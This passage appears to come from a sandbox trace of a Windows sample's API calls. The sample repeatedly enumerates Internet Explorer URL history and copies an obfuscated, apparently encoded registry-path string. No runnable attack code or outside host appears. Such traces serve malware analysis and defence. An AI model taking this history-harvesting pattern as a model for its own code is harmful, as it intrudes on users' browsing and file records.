6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.950] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.950] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.950] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/QX8xc.rtf") returned 73 [0056.950] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/QX8xc.rtf") returned 73 [0056.950] CoTaskMemFree (pv=0x2e68d8) [0056.950] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.950] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/2%20cCXwBOWq.bmp", lpSrch="?") returned 0x0 [0056.950] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.950] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.950] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.950] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/2%20cCXwBOWq.bmp") returned 59 [0056.950] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/2%20cCXwBOWq.bmp") returned 59 [0056.950] CoTaskMemFree (pv=0x2ea3b8) [0056.950] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.951] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/iyfDL.flv", lpSrch="?") returned 0x0 [0056.951] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.951] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcbf8 [0056.951] lstrcpyA (in: lpString1=0x2fcbf8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.951] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/iyfDL.flv") returned 91 [0056.951] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/iyfDL.flv") returned 91 [0056.951] CoTaskMemFree (pv=0x2d2ef8) [0056.951] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.951] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/RJVDCftzHWCi4UZwxN.xlsx", lpSrch="?") returned 0x0 [0056.951] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.951] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd048 [0056.951] lstrcpyA (in: lpString1=0x2fd048, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.951] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/RJVDCftzHWCi4UZwxN.xlsx") returned 87 [0056.951] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/RJVDCftzHWCi4UZwxN.xlsx") returned 87 [0056.951] CoTaskMemFree (pv=0x2fcf90) [0056.951] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.951] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/yETt7HkjMeZ_p.ods", lpSrch="?") returned 0x0 [0056.951] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.951] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcf90 [0056.951] lstrcpyA (in: lpString1=0x2fcf90, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.952] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/yETt7HkjMeZ_p.ods") returned 123 [0056.952] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/yETt7HkjMeZ_p.ods") returned 123 [0056.952] CoTaskMemFree (pv=0x2edb78) [0056.952] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.952] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/CbyuVmzxEB.gif", lpSrch="?") returned 0x0 [0056.952] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.952] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fcf90 [0056.952] lstrcpyA (in: lpString1=0x2fcf90, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.952] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/CbyuVmzxEB.gif") returned 69 [0056.952] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/CbyuVmzxEB.gif") returned 69 [0056.952] CoTaskMemFree (pv=0x2dad78) [0056.952] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.952] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/ZNgE87vnK3qJ9eY74j.pptx", lpSrch="?") returned 0x0 [0056.952] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.952] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd270 [0056.952] lstrcpyA (in: lpString1=0x2fd270, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.952] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/ZNgE87vnK3qJ9eY74j.pptx") returned 87 [0056.952] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/ZNgE87vnK3qJ9eY74j.pptx") returned 87 [0056.953] CoTaskMemFree (pv=0x2fd1b8) [0056.953] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.953] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/pI8%20cxP0Q.docx", lpSrch="?") returned 0x0 [0056.953] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.953] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd1b8 [0056.953] lstrcpyA (in: lpString1=0x2fd1b8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.953] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/pI8%20cxP0Q.docx") returned 60 [0056.953] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/pI8%20cxP0Q.docx") returned 60 [0056.953] CoTaskMemFree (pv=0x2f64d0) [0056.953] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.953] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/tX1QbB.bmp", lpSrch="?") returned 0x0 [0056.953] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.953] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd1b8 [0056.953] lstrcpyA (in: lpString1=0x2fd1b8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.953] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/tX1QbB.bmp") returned 62 [0056.953] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/tX1QbB.bmp") returned 62 [0056.953] CoTaskMemFree (pv=0x2f6668) [0056.953] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.954] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/jMBQtenVyg4L.doc", lpSrch="?") returned 0x0 [0056.954] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.954] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd1b8 [0056.954] lstrcpyA (in: lpString1=0x2fd1b8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.954] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/jMBQtenVyg4L.doc") returned 60 [0056.954] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/jMBQtenVyg4L.doc") returned 60 [0056.954] CoTaskMemFree (pv=0x2f6800) [0056.954] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.954] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/5Vq7ts5XTUL1xNW-PMiE.swf", lpSrch="?") returned 0x0 [0056.954] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.954] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd1b8 [0056.954] lstrcpyA (in: lpString1=0x2fd1b8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.954] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/5Vq7ts5XTUL1xNW-PMiE.swf") returned 65 [0056.954] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/5Vq7ts5XTUL1xNW-PMiE.swf") returned 65 [0056.954] CoTaskMemFree (pv=0x2e8d48) [0056.954] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.954] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/1eHisKgXjHl6Wmlw.xlsx", lpSrch="?") returned 0x0 [0056.954] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.954] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd498 [0056.955] lstrcpyA (in: lpString1=0x2fd498, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.955] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/1eHisKgXjHl6Wmlw.xlsx") returned 85 [0056.955] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/1eHisKgXjHl6Wmlw.xlsx") returned 85 [0056.955] CoTaskMemFree (pv=0x2fd3e0) [0056.955] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.955] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/y9c56JojY.pdf", lpSrch="?") returned 0x0 [0056.955] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.955] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.955] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 